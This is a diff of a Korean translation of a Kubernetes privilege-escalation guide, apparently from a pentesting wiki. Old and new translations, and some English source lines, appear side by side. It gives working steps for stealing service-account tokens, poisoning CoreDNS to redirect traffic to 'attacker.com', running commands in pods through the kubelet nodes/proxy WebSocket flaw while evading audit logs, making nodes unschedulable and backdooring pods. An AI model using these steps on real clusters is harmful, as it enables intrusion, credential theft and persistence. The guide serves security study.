**kubernetes.io/service-account-token** 타입의 특별한 Kubernetes Secret이 있으며, 이는 service account tokens를 저장합니다. 최신 Kubernetes 버전은 모든 ServiceAccount에 대해 장기 수명의 Secret을 자동으로 하나 생성하지 않습니다. 대신 projected, bound TokenRequest tokens가 일반적인 workload 경로입니다. 그러나 수동으로 생성된 service account token Secrets는 여전히 지원되며, 업그레이드된 클러스터나 legacy cluster에는 여전히 장기 수명의 token Secrets가 있을 수 있습니다. 현재 클러스터는 사용되지 않는 자동 생성된 legacy token Secrets를 invalid로 표시하고 결국 정리할 수도 있으며, 그 과정에서 `kubernetes.io/legacy-token-invalid-since` 및 `kubernetes.io/legacy-token-last-used` 같은 labels가 남습니다.
|
||||
|
||||
secret을 생성하고 읽을 수 있는 권한이 있고, serviceaccount의 이름도 알고 있다면, 다음과 같이 secret을 생성한 뒤 그 안에서 victim serviceaccount의 token을 steal할 수 있습니다:
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Secret
|
||||
@@ -383,17 +384,18 @@ $ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o jso
|
||||
"type": "kubernetes.io/service-account-token"
|
||||
}
|
||||
```
|
||||
Note that if you are allowed to create and read secrets in a certain namespace, the victim serviceaccount also must be in that same namespace.
|
||||
참고로 특정 namespace에서 secrets를 생성하고 읽을 수 있다면, 피해자 serviceaccount도 반드시 같은 namespace에 있어야 합니다.
|
||||
|
||||
### secret 읽기 – brute-forcing token IDs
|
||||
|
||||
읽기 권한이 있는 token을 보유한 공격자는 secret을 사용하기 위해 정확한 secret 이름이 필요하지만, 보다 광범위한 _**listing secrets**_ 권한과 달리 여전히 취약점이 존재합니다. 시스템의 기본 service accounts는 열거할 수 있으며, 각 계정은 secret과 연결되어 있습니다. 이들 secret은 이름 구조가 정해져 있는데: 정적 접두사 뒤에 특정 문자를 제외한 랜덤한 다섯 글자의 영숫자 토큰이 붙습니다(자세한 내용은 [source code](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83) 참조).
|
||||
### Reading a secret – brute-forcing token IDs
|
||||
|
||||
토큰은 전체 영숫자 범위가 아닌 제한된 27자 집합(`bcdfghjklmnpqrstvwxz2456789`)에서 생성됩니다. 이 제한으로 가능한 조합 수는 14,348,907(27^5)로 줄어듭니다. 결과적으로 공격자는 수 시간 내에 brute-force attack으로 토큰을 유추할 수 있으며, 민감한 service accounts에 접근하여 권한 상승으로 이어질 수 있습니다.
|
||||
토큰의 read permissions를 가진 공격자는 사용할 때 secret의 정확한 이름이 필요하지만, 더 광범위한 _**listing secrets**_ privilege와 달리 여전히 취약점이 있습니다. 시스템의 기본 service accounts는 열거할 수 있으며, 각각 하나의 secret과 연결되어 있습니다. 이 secrets는 [source code](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83)에 따라 정적 prefix 뒤에 무작위 5자 영숫자 토큰(일부 문자는 제외됨)이 붙는 구조의 이름을 가집니다.
|
||||
|
||||
토큰은 전체 영숫자 범위가 아니라 제한된 27자 집합(`bcdfghjklmnpqrstvwxz2456789`)에서 생성됩니다. 이 제한으로 가능한 전체 조합 수는 14,348,907(27^5)개로 줄어듭니다. 결과적으로 공격자는 brute-force attack을 실행해 몇 시간 안에 토큰을 알아낼 수 있으며, 민감한 service accounts에 접근함으로써 privilege escalation으로 이어질 수 있습니다.
|
||||
|
||||
### EncrpytionConfiguration in clear text
|
||||
|
||||
이 유형의 객체에서 휴지 상태 데이터(data at rest)를 암호화하는 평문 키를 찾을 수 있습니다. 예:
|
||||
이 유형의 object에서는 data at rest를 encrypt하기 위한 clear text keys를 다음과 같이 찾을 수 있습니다:
|
||||
```yaml
|
||||
# From https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/
|
||||
|
||||
@@ -450,13 +452,13 @@ keys:
|
||||
- name: key3
|
||||
secret: c2VjcmV0IGlzIHNlY3VyZSwgSSB0aGluaw==
|
||||
```
|
||||
### 인증서 서명 요청
|
||||
### Certificate Signing Requests
|
||||
|
||||
리소스 `certificatesigningrequests`에 **`create`** 권한이 있거나(또는 적어도 `certificatesigningrequests/nodeClient`에 있다면), **새 노드**의 **CSR을 생성**할 수 있습니다.
|
||||
리소스 `certificatesigningrequests` (또는 적어도 `certificatesigningrequests/nodeClient`)에서 **`create`** verb가 있으면, **새 node**의 새로운 CeSR을 **create**할 수 있습니다.
|
||||
|
||||
According to the [documentation it's possible to auto approve this requests](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), so in that case you **don't need extra permissions**. 그렇지 않은 경우에는 요청을 승인할 수 있어야 하며, 이는 `certificatesigningrequests/approval`에 대한 update 권한과 `signers`에서 resourceName이 `<signerNameDomain>/<signerNamePath>` 또는 `<signerNameDomain>/*`인 `approve` 권한을 의미합니다.
|
||||
[documentation에 따르면 이 requests를 자동 승인하는 것이 가능합니다](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), 따라서 그런 경우에는 **추가 permissions가 필요하지 않습니다**. 그렇지 않다면, request를 approve할 수 있어야 하며, 이는 `certificatesigningrequests/approval`에서 update 권한과 `signers`에서 resourceName `<signerNameDomain>/<signerNamePath>` 또는 `<signerNameDomain>/*`에 대한 `approve` 권한이 필요함을 의미합니다.
|
||||
|
||||
다음은 필요한 모든 권한을 가진 **역할의 예**는 다음과 같습니다:
|
||||
필요한 모든 permissions를 가진 **role의 예시**는 다음과 같습니다:
|
||||
```yaml
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: ClusterRole
|
||||
@@ -487,19 +489,19 @@ resourceNames:
|
||||
verbs:
|
||||
- approve
|
||||
```
|
||||
따라서 새 node CSR이 승인되면 노드의 특수 권한을 이용해 **abuse**하여 **steal secrets** 및 **escalate privileges**할 수 있습니다.
|
||||
새로운 node CSR이 승인되면, nodes의 특수 권한을 **abuse**해서 **secrets를 steal**하고 **privileges를 escalate**할 수 있습니다.
|
||||
|
||||
In [**this post**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) and [**this one**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/) the GKE K8s TLS Bootstrap 구성은 **automatic signing**으로 설정되어 있으며, 이를 악용해 새로운 K8s Node의 자격 증명을 생성하고 그 자격 증명을 이용해 escalate privileges by stealing secrets.\
|
||||
If you **언급된 권한을 가지고 있다면 동일하게 수행할 수 있습니다**. 첫 번째 예제는 새로운 node가 컨테이너 내부의 secrets에 접근하지 못하도록 하는 오류를 우회하는데, 그 이유는 **node can only access the secrets of containers mounted on it.**
|
||||
[**this post**](https://www.4armed.com/blog/hacking-kubelet-on-gke/)와 [**this one**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/)에서는 GKE K8s TLS Bootstrap configuration이 **automatic signing**으로 설정되어 있고, 이를 abuse해서 새 K8s Node의 credentials를 생성한 다음, 그것들을 abuse해 secrets를 stealing하여 privileges를 escalate합니다.\
|
||||
만약 **앞서 언급한 privileges를 가지고 있다면 같은 일을 할 수 있습니다**. 첫 번째 예시는 새 node가 containers 안의 secrets에 접근하지 못하도록 막는 error를 우회하는데, **node는 자신에게 mount된 containers의 secrets만 접근할 수 있기 때문입니다.**
|
||||
|
||||
이를 우회하는 방법은 단순히 **create a node credentials for the node name where the container with the interesting secrets is mounted** 하는 것입니다 (자세한 방법은 첫 번째 포스트를 확인하세요):
|
||||
이를 우회하는 방법은, **interesting secrets가 있는 container가 mount된 node name에 대한 node credentials를 생성하는 것**뿐입니다(하지만 방법은 첫 번째 post에서 어떻게 하는지 확인하세요):
|
||||
```bash
|
||||
"/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1"
|
||||
```
|
||||
### AWS EKS aws-auth configmaps
|
||||
|
||||
EKS(클러스터가 AWS에 있어야 함)의 kube-system 네임스페이스에서 **`configmaps`**를 수정할 수 있는 주체는 **aws-auth** configmap을 덮어써서 클러스터 관리자 권한을 획득할 수 있습니다.\
|
||||
필요한 동사(verbs)는 **`update`**와 **`patch`**이며, configmap이 생성되지 않은 경우 **`create`**입니다:
|
||||
EKS 클러스터의 kube-system namespace에서 **`configmaps`**를 수정할 수 있는 principals(반드시 AWS에 있어야 함)는 **aws-auth** configmap을 덮어써서 cluster admin 권한을 얻을 수 있습니다.\
|
||||
필요한 verbs는 **`update`**와 **`patch`**이며, configmap이 생성되지 않았다면 **`create`**도 필요합니다:
|
||||
```bash
|
||||
# Check if config map exists
|
||||
get configmap aws-auth -n kube-system -o yaml
|
||||
@@ -539,18 +541,18 @@ groups:
|
||||
- system:masters
|
||||
```
|
||||
> [!WARNING]
|
||||
> 다른 계정의 사용자들에게 접근 권한을 부여하기 위해 **`aws-auth`**을 사용해 **persistence**를 설정할 수 있습니다.
|
||||
> **`aws-auth`**를 **persistence**에 사용할 수 있으며, **다른 계정**의 사용자에게 접근 권한을 줄 수 있습니다.
|
||||
>
|
||||
> 하지만 `aws --profile other_account eks update-kubeconfig --name <cluster-name>`는 다른 계정에서는 동작하지 않습니다. 그러나 클러스터 이름 대신 ARN을 넣으면 `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing`는 작동합니다.\
|
||||
> `kubectl`을 작동시키려면 **configure**된 **victims kubeconfig**를 사용하고 aws exec 인자에 `--profile other_account_role`를 추가하여 kubectl이 다른 계정 프로필로 토큰을 가져와 AWS에 접속하도록 하면 됩니다.
|
||||
> 그러나 `aws --profile other_account eks update-kubeconfig --name <cluster-name>`는 **다른 acount**에서는 작동하지 않습니다. 하지만 실제로는 클러스터 이름 대신 클러스터의 ARN을 넣어 `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing`를 사용하면 작동합니다.\
|
||||
> `kubectl`이 동작하게 하려면, **victims kubeconfig**를 **configure**하고 aws exec args에 `--profile other_account_role`를 추가하면 됩니다. 그러면 kubectl이 다른 계정 프로필을 사용해 토큰을 가져오고 AWS에 연결합니다.
|
||||
|
||||
### CoreDNS config map
|
||||
|
||||
권한이 있어 `kube-system` 네임스페이스의 **`coredns` configmap**을 수정할 수 있다면, 도메인이 해석되는 주소를 변경하여 MitM 공격을 수행하고 **민감한 정보를 훔치거나 악성 콘텐츠를 주입하는** 것이 가능합니다.
|
||||
`kube-system` namespace에서 **`coredns` configmap**을 수정할 권한이 있다면, MitM 공격을 수행할 수 있도록 도메인이 어떤 주소로 resolve될지 변경할 수 있으며, 이를 통해 **민감한 정보를 steal하거나 악성 콘텐츠를 주입**할 수 있습니다.
|
||||
|
||||
필요한 verbs는 **`update`**와 **`patch`**이며 대상은 **`coredns`** configmap(또는 모든 config maps)입니다.
|
||||
필요한 verbs는 **`coredns`** configmap(또는 모든 config maps)에 대한 **`update`**와 **`patch`**입니다.
|
||||
|
||||
A regular **coredns file** contains something like this:
|
||||
일반적인 **coredns file**은 다음과 같습니다:
|
||||
```yaml
|
||||
data:
|
||||
Corefile: |
|
||||
@@ -582,104 +584,59 @@ loadbalance
|
||||
```
|
||||
An attacker could download it running `kubectl get configmap coredns -n kube-system -o yaml`, modify it adding something like `rewrite name victim.com attacker.com` so whenever `victim.com` is accessed actually `attacker.com` is the domain that is going to be accessed. And then apply it running `kubectl apply -f poison_dns.yaml`.
|
||||
|
||||
공격자는 `kubectl get configmap coredns -n kube-system -o yaml`를 실행해 해당 리소스를 다운로드한 뒤, `rewrite name victim.com attacker.com` 같은 항목을 추가하여 `victim.com`에 접근할 때 실제로는 `attacker.com`이 접속되도록 수정할 수 있습니다. 그런 다음 `kubectl apply -f poison_dns.yaml`를 실행해 적용합니다.
|
||||
|
||||
Another option is to just edit the file running `kubectl edit configmap coredns -n kube-system` and making changes.
|
||||
|
||||
또 다른 방법은 `kubectl edit configmap coredns -n kube-system`를 실행해 파일을 직접 편집하는 것입니다.
|
||||
|
||||
### Escalating in GKE
|
||||
|
||||
### GKE에서의 권한 상승
|
||||
|
||||
There are **2 ways to assign K8s permissions to GCP principals**. In any case the principal also needs the permission **`container.clusters.get`** to be able to gather credentials to access the cluster, or you will need to **generate your own kubectl config file** (follow the next link).
|
||||
|
||||
**K8s 권한을 GCP principal에 할당하는 방법은 2가지**가 있습니다. 어떤 경우든 principal(주체)은 클러스터 접근에 필요한 자격증명을 수집하기 위해 **`container.clusters.get`** 권한이 필요하거나, 아니면 **자신의 kubectl config 파일을 생성해야** 합니다 (다음 링크를 따르세요).
|
||||
|
||||
> [!WARNING]
|
||||
> When talking to the K8s api endpoint, the **GCP auth token will be sent**. Then, GCP, through the K8s api endpoint, will first **check if the principal** (by email) **has any access inside the cluster**, then it will check if it has **any access via GCP IAM**.\
|
||||
> If **any** of those are **true**, he will be **responded**. If **not** an **error** suggesting to give **permissions via GCP IAM** will be given.
|
||||
|
||||
> [!WARNING]
|
||||
> K8s api endpoint와 통신할 때, **GCP auth token이 전송됩니다**. 그런 다음 GCP는 K8s api endpoint를 통해 먼저 **principal(이메일)에 클러스터 내부 접근 권한이 있는지 확인**하고, 그다음 **GCP IAM을 통한 접근 권한이 있는지** 확인합니다.\
|
||||
> 만약 **그 중 어느 하나라도** 참이면 응답이 반환됩니다. 그렇지 않으면 **GCP IAM을 통해 권한을 부여하라**는 오류가 표시됩니다.
|
||||
|
||||
Then, the first method is using **GCP IAM**, the K8s permissions have their **equivalent GCP IAM permissions**, and if the principal have it, it will be able to use it.
|
||||
|
||||
첫 번째 방법은 **GCP IAM**을 사용하는 것입니다. K8s 권한은 대응되는 **GCP IAM 권한**이 있으며, principal이 해당 권한을 가지고 있으면 이를 사용할 수 있습니다.
|
||||
|
||||
{{#ref}}
|
||||
../../gcp-security/gcp-privilege-escalation/gcp-container-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
The second method is **assigning K8s permissions inside the cluster** to the identifying the user by its **email** (GCP service accounts included).
|
||||
|
||||
두 번째 방법은 클러스터 내부에서 사용자를 **이메일로 식별하여 K8s 권한을 할당하는 것**입니다 (GCP service accounts 포함).
|
||||
|
||||
### Create serviceaccounts token
|
||||
|
||||
### serviceaccounts 토큰 생성
|
||||
|
||||
Principals that can **create TokenRequests** (`serviceaccounts/token`) When talking to the K8s api endpoint SAs (info from [**here**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)).
|
||||
|
||||
`TokenRequests` (`serviceaccounts/token`)를 생성할 수 있는 principal들. K8s api endpoint와 관련된 SAs 정보는 [**here**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)에서 확인하세요.
|
||||
|
||||
### ephemeralcontainers
|
||||
|
||||
### ephemeralcontainers
|
||||
|
||||
Principals that can **`update`** or **`patch`** **`pods/ephemeralcontainers`** can gain **code execution on other pods**, and potentially **break out** to their node by adding an ephemeral container with a privileged securityContext
|
||||
|
||||
**`pods/ephemeralcontainers`**를 **`update`** 또는 **`patch`**할 수 있는 principal은 다른 파드에서 **코드 실행**을 획득할 수 있으며, privileged securityContext를 가진 ephemeral container를 추가하여 노드로의 **탈출**을 시도할 수 있습니다.
|
||||
|
||||
### ValidatingWebhookConfigurations or MutatingWebhookConfigurations
|
||||
|
||||
### ValidatingWebhookConfigurations 또는 MutatingWebhookConfigurations
|
||||
|
||||
Principals with any of the verbs `create`, `update` or `patch` over `validatingwebhookconfigurations` or `mutatingwebhookconfigurations` might be able to **create one of such webhookconfigurations** in order to be able to **escalate privileges**.
|
||||
|
||||
`validatingwebhookconfigurations` 또는 `mutatingwebhookconfigurations`에 대해 `create`, `update`, `patch` 중 하나라도 허용된 principal은 해당 webhookconfiguration을 생성하여 **권한 상승**을 시도할 수 있습니다.
|
||||
|
||||
For a [`mutatingwebhookconfigurations` example check this section of this post](#malicious-admission-controller).
|
||||
|
||||
### Escalate
|
||||
|
||||
### 권한 상승
|
||||
|
||||
As you can read in the next section: [**Built-in Privileged Escalation Prevention**](#built-in-privileged-escalation-prevention), a principal cannot update neither create roles or clusterroles without having himself those new permissions. Except if he has the **verb `escalate` or `*`** over **`roles`** or **`clusterroles`** and the respective binding options.\
|
||||
Then he can update/create new roles, clusterroles with better permissions than the ones he has.
|
||||
|
||||
다음 섹션: [**Built-in Privileged Escalation Prevention**](#built-in-privileged-escalation-prevention)에서 설명한 것처럼, principal은 자신에게 해당 권한이 없으면 roles 또는 clusterroles를 생성하거나 업데이트할 수 없습니다. 단, roles 또는 clusterroles에 대해 **동사 `escalate` 또는 `*`** 및 해당 바인딩 옵션을 가진 경우는 예외입니다.\ 이 경우 그는 자신이 가진 것보다 더 높은 권한을 가진 roles/clusterroles를 생성하거나 업데이트할 수 있습니다.
|
||||
|
||||
### Nodes proxy
|
||||
|
||||
### Nodes proxy
|
||||
|
||||
Principals with access to the **`nodes/proxy`** subresource can **execute code on pods** via the Kubelet API (according to [**this**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)). More information about Kubelet authentication in this page:
|
||||
|
||||
**`nodes/proxy`** 서브리소스에 접근할 수 있는 principal은 Kubelet API를 통해 파드에서 **코드 실행**을 할 수 있습니다 (자세한 내용은 [**this**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego) 참조). Kubelet 인증에 대한 자세한 정보는 다음 페이지를 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
../pentesting-kubernetes-services/kubelet-authentication-and-authorization.md
|
||||
{{#endref}}
|
||||
|
||||
#### nodes/proxy GET -> Kubelet /exec via WebSocket verb confusion
|
||||
|
||||
#### nodes/proxy GET -> Kubelet /exec via WebSocket 동사 혼동
|
||||
|
||||
- Kubelet maps HTTP methods to RBAC verbs **before** protocol upgrade. WebSocket handshakes must start with **HTTP GET** (`Connection: Upgrade`), so `/exec` over WebSocket is checked as **verb `get`** instead of the expected `create`.
|
||||
- `/exec`, `/run`, `/attach`, and `/portforward` are not explicitly mapped and fall into the default **`proxy`** subresource, so the authorization question becomes **`can <user> get nodes/proxy?`**
|
||||
- If a token only has **`nodes/proxy` + `get`**, direct WebSocket access to the kubelet on `https://<node_ip>:10250` allows arbitrary command execution in any pod on that node. The same request via the API server proxy path (`/api/v1/nodes/<node>/proxy/exec/...`) is denied because it is a normal HTTP POST and maps to `create`.
|
||||
- The kubelet performs no second authorization after the WebSocket upgrade; only the initial GET is evaluated.
|
||||
|
||||
- Kubelet은 프로토콜 업그레이드 이전에 HTTP 메서드를 RBAC 동사로 매핑합니다. WebSocket 핸드셰이크는 반드시 **HTTP GET** (`Connection: Upgrade`)으로 시작해야 하므로, WebSocket을 통한 `/exec`는 기대되는 `create` 대신 **동사 `get`**으로 체크됩니다.
|
||||
- `/exec`, `/run`, `/attach`, `/portforward`는 명시적으로 매핑되지 않아 기본 **`proxy`** 서브리소스로 처리되므로 권한 검사 질문은 **`can <user> get nodes/proxy?`**가 됩니다.
|
||||
- 토큰에 **`nodes/proxy` + `get`**만 있는 경우, `https://<node_ip>:10250`로 kubelet에 대한 직접 WebSocket 접근은 해당 노드의 어떤 파드에서도 임의 명령 실행을 허용합니다. 반면 API 서버 프록시 경로(`/api/v1/nodes/<node>/proxy/exec/...`)를 통한 동일한 요청은 일반 HTTP POST로 처리되어 `create`로 매핑되므로 거부됩니다.
|
||||
- kubelet은 WebSocket 업그레이드 이후에 추가적인 권한 검사를 수행하지 않습니다; 초기 GET만 평가됩니다.
|
||||
|
||||
**Direct exploit (requires network reachability to the kubelet and a token with `nodes/proxy` GET):**
|
||||
|
||||
**직접 익스플로잇(요구사항: kubelet에 대한 네트워크 접근성 및 `nodes/proxy` GET 권한을 가진 토큰):**
|
||||
```bash
|
||||
kubectl auth can-i --list | grep "nodes/proxy"
|
||||
websocat --insecure \
|
||||
@@ -687,13 +644,13 @@ websocat --insecure \
|
||||
--protocol "v4.channel.k8s.io" \
|
||||
"wss://$NODE_IP:10250/exec/$NAMESPACE/$POD/$CONTAINER?output=1&error=1&command=id"
|
||||
```
|
||||
- 노드 이름이 아니라 **Node IP**를 사용하세요. 동일한 요청을 `curl -X POST`로 하면 `create`에 매핑되기 때문에 **Forbidden**가 됩니다.
|
||||
- kubelet에 직접 접근하면 API server를 우회하므로 AuditPolicy는 kubelet user agent의 `subjectaccessreviews`만 표시하며 **`pods/exec`를 기록하지 않습니다**.
|
||||
- [탐지 스크립트](https://gist.github.com/grahamhelton/f5c8ce265161990b0847ac05a74e466a)로 영향받는 서비스 계정들을 열거하여 `nodes/proxy` GET으로 제한된 토큰을 찾으세요.
|
||||
- **Node IP**를 사용하고, node name은 사용하지 마세요. `curl -X POST`를 사용한 같은 요청은 `create`에 매핑되므로 **Forbidden**이 됩니다.
|
||||
- 직접 kubelet access는 API server를 우회하므로, AuditPolicy는 kubelet user agent에서 온 `subjectaccessreviews`만 보여주며 **`pods/exec`** 명령은 **기록하지 않습니다**.
|
||||
- [detection script](https://gist.github.com/grahamhelton/f5c8ce265161990b0847ac05a74e466a)로 영향을 받는 service accounts를 열거하여 `nodes/proxy` GET으로 제한된 token을 찾으세요.
|
||||
|
||||
### pods 삭제 + 스케줄링 불가능한 nodes
|
||||
### Delete pods + unschedulable nodes
|
||||
|
||||
다음 권한을 가진 principals는, pod를 제어할 수 있는 경우, 다른 노드의 pods를 훔쳐와 취약한 node에서 실행되게 하고 공격자가 해당 pods로부터 토큰을 훔칠 수 있습니다: **delete pods** (`delete` verb over `pods` resource), **evict pods** (`create` verb over `pods/eviction` resource), **change pod status** (access to `pods/status`) 및 다른 노드를 **unschedulable**로 만들 수 있는 권한 (access to `nodes/status`) 또는 **delete nodes** (`delete` verb over `nodes` resource).
|
||||
**pods** 리소스에 대한 `delete` verb로 **pods를 delete**할 수 있거나, **pods/eviction** 리소스에 대한 `create` verb로 **pods를 evict**할 수 있거나, **pods/status**에 접근해 **pod status를 변경**할 수 있고, 동시에 **nodes/status**에 접근해 **다른 node를 unschedulable**하게 만들 수 있거나 **nodes** 리소스에 대한 `delete` verb로 **nodes를 delete**할 수 있으며 pod에 대한 control을 가진 principal은, **다른 node의 pods를 steal**해서 이들이 **compromised** **node**에서 **executed**되게 만들 수 있고, 공격자는 그 pods의 **tokens**를 **steal**할 수 있습니다.
|
||||
```bash
|
||||
patch_node_capacity(){
|
||||
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
|
||||
@@ -704,43 +661,43 @@ while true; do patch_node_capacity <id_other_node>; done &
|
||||
|
||||
kubectl delete pods -n kube-system <privileged_pod_name>
|
||||
```
|
||||
### Services 상태 (CVE-2020-8554)
|
||||
### Services status (CVE-2020-8554)
|
||||
|
||||
**`services/status`**를 **수정할 수 있는** 주체는 `status.loadBalancer.ingress.ip` 필드를 설정하여 **미해결 CVE-2020-8554**를 악용하고 **MiTM 공격을 클러스터에 대한** 시작할 수 있습니다. 대부분의 CVE-2020-8554 완화책은 ExternalIP services만 차단합니다(자세한 내용은 [**this**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego) 참조).
|
||||
**`services/status`**를 **수정**할 수 있는 Principal은 **패치되지 않은 CVE-2020-8554**를 악용하기 위해 `status.loadBalancer.ingress.ip` 필드를 설정할 수 있으며, 클러스터에 대한 **MiTM attacks**를 시작할 수 있습니다. CVE-2020-8554에 대한 대부분의 완화책은 ExternalIP services만 막습니다([**this**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego) 참조).
|
||||
|
||||
### Nodes 및 Pods 상태
|
||||
### Nodes and Pods status
|
||||
|
||||
`nodes/status` 또는 `pods/status`에 대해 **`update`** 또는 **`patch`** 권한을 가진 주체는 스케줄링 제약(scheduling constraints)에 영향을 주도록 레이블을 수정할 수 있습니다.
|
||||
**`nodes/status`** 또는 **`pods/status`**에 대해 **`update`** 또는 **`patch`** 권한이 있는 Principal은 scheduling constraints enforcement에 영향을 주도록 labels를 수정할 수 있습니다.
|
||||
|
||||
## Built-in Privileged Escalation Prevention
|
||||
|
||||
Kubernetes에는 권한 상승을 방지하는 [내장 메커니즘](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping)이 있습니다.
|
||||
Kubernetes에는 privilege escalation을 방지하기 위한 [built-in mechanism](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping)이 있습니다.
|
||||
|
||||
이 시스템은 **사용자가 roles 또는 role bindings을 수정하여 권한을 상승시키지 못하도록** 보장합니다. 이 규칙의 적용은 API 레벨에서 이루어지며 RBAC authorizer가 비활성화된 경우에도 보호를 제공합니다.
|
||||
이 시스템은 **users가 roles나 role bindings를 수정해서 자신의 privileges를 높일 수 없도록** 보장합니다. 이 규칙의 enforcement는 API level에서 이루어지므로, RBAC authorizer가 비활성화되어 있어도 보호가 됩니다.
|
||||
|
||||
규칙은 **사용자가 role에 포함된 모든 권한을 보유한 경우에만 role을 생성하거나 업데이트할 수 있다**고 규정합니다. 또한 사용자가 이미 가진 권한의 범위는 생성/수정하려는 role의 범위와 일치해야 합니다: ClusterRoles의 경우 클러스터 전체, Roles의 경우 동일한 네임스페이스(또는 클러스터 전체)로 제한됩니다.
|
||||
이 규칙은 **user가 role을 create 또는 update하려면, 해당 role이 포함하는 모든 permissions를 이미 보유하고 있어야 한다**고 명시합니다. 또한 user의 기존 permissions scope는 생성 또는 수정하려는 role의 scope와 일치해야 합니다: ClusterRoles의 경우 cluster-wide이거나, Roles의 경우 같은 namespace(또는 cluster-wide) 안에 있어야 합니다.
|
||||
|
||||
> [!WARNING]
|
||||
> 이전 규칙에는 예외가 있습니다. 주체가 **`roles`** 또는 **`clusterroles`**에 대해 **verb `escalate`** 권한을 가지고 있다면, 자신이 그 권한을 직접 보유하지 않아도 roles 및 clusterroles의 권한을 상승시킬 수 있습니다.
|
||||
> 이전 규칙에는 예외가 있습니다. Principal이 **`roles`** 또는 **`clusterroles`**에 대해 **verb `escalate`**를 가지고 있다면, 자신이 그 permissions를 직접 가지고 있지 않아도 roles와 clusterroles의 privileges를 높일 수 있습니다.
|
||||
|
||||
### **Get & Patch RoleBindings/ClusterRoleBindings**
|
||||
|
||||
> [!CAUTION]
|
||||
> **이 기술은 예전에는 작동했지만, 제 테스트에 따르면 이전 섹션에서 설명한 동일한 이유로 더 이상 작동하지 않습니다. 이미 권한을 가지고 있지 않다면 자신이나 다른 SA에게 권한을 부여하기 위해 rolebinding을 생성/수정할 수 없습니다.**
|
||||
> **겉보기에는 이 technique이 예전에는 동작했지만, 제 테스트에 따르면 앞에서 설명한 것과 같은 이유로 더 이상 동작하지 않습니다. 이미 가지고 있지 않다면 rolebinding을 create/modify해서 자신이나 다른 SA에게 privileges를 줄 수 없습니다.**
|
||||
|
||||
Rolebindings을 생성할 수 있는 권한은 사용자가 **role을 service account에 바인딩**할 수 있게 합니다. 이 권한은 사용자가 **관리자 권한(admin privileges)을 손상된 service account에 바인딩**할 수 있으므로 잠재적인 권한 상승으로 이어질 수 있습니다.
|
||||
Rolebindings를 create할 수 있는 privilege는 user가 **roles를 service account에 bind**할 수 있게 합니다. 이 privilege는 **compromised service account에 admin privileges를 bind할 수 있게 하므로** privilege escalation으로 이어질 수 있습니다.
|
||||
|
||||
## Other Attacks
|
||||
|
||||
### Sidecar proxy app
|
||||
|
||||
기본적으로 pods 간 통신에는 암호화가 없습니다. 상호 인증(mutual authentication), 양방향, pod 간 통신 보호가 없습니다.
|
||||
기본적으로 pod 간 통신에는 encryption이 없습니다. Mutual authentication, two-way, pod to pod.
|
||||
|
||||
#### Create a sidecar proxy app
|
||||
|
||||
사이드카 컨테이너는 단순히 pod 내부에 **두 번째(또는 그 이상) 컨테이너를 추가하는 것**으로 구성됩니다.
|
||||
A sidecar container는 pod 안에 **두 번째(또는 그 이상) container를 추가하는 것**입니다.
|
||||
|
||||
예를 들어, 다음은 컨테이너 2개를 가진 pod의 구성 일부입니다:
|
||||
예를 들어, 다음은 2개의 containers를 가진 pod configuration의 일부입니다:
|
||||
```yaml
|
||||
spec:
|
||||
containers:
|
||||
@@ -750,24 +707,24 @@ image: nginx
|
||||
image: busybox
|
||||
command: ["sh","-c","<execute something in the same pod but different container>"]
|
||||
```
|
||||
예를 들어, 기존 pod에 새 container로 backdoor를 심으려면 specification에 새 container를 추가하기만 하면 됩니다. 참고로 두 번째 container에 첫 번째 container가 가지지 못한 **더 많은 권한**을 부여할 수 있다는 점에 유의하세요.
|
||||
예를 들어, 새로운 container로 기존 pod를 backdoor하려면 specification에 새 container를 추가하기만 하면 됩니다. 두 번째 container에 첫 번째 container가 가지지 못한 **더 많은 permissions**를 줄 수 있다는 점에 유의하세요.
|
||||
|
||||
More info at: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)
|
||||
자세한 내용은 다음을 참고하세요: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)
|
||||
|
||||
### 악성 Admission Controller
|
||||
### Malicious Admission Controller
|
||||
|
||||
admission controller는 객체가 영구 저장되기 전에, 그러나 요청이 **인증된 후** **그리고 권한이 부여된 후**에 **Kubernetes API server로의 요청을 가로챕니다**.
|
||||
admission controller는 오브젝트의 persistence 이전이지만 **request가 authenticated** **and authorized**된 이후에 **Kubernetes API server로의 requests를 intercept**합니다.
|
||||
|
||||
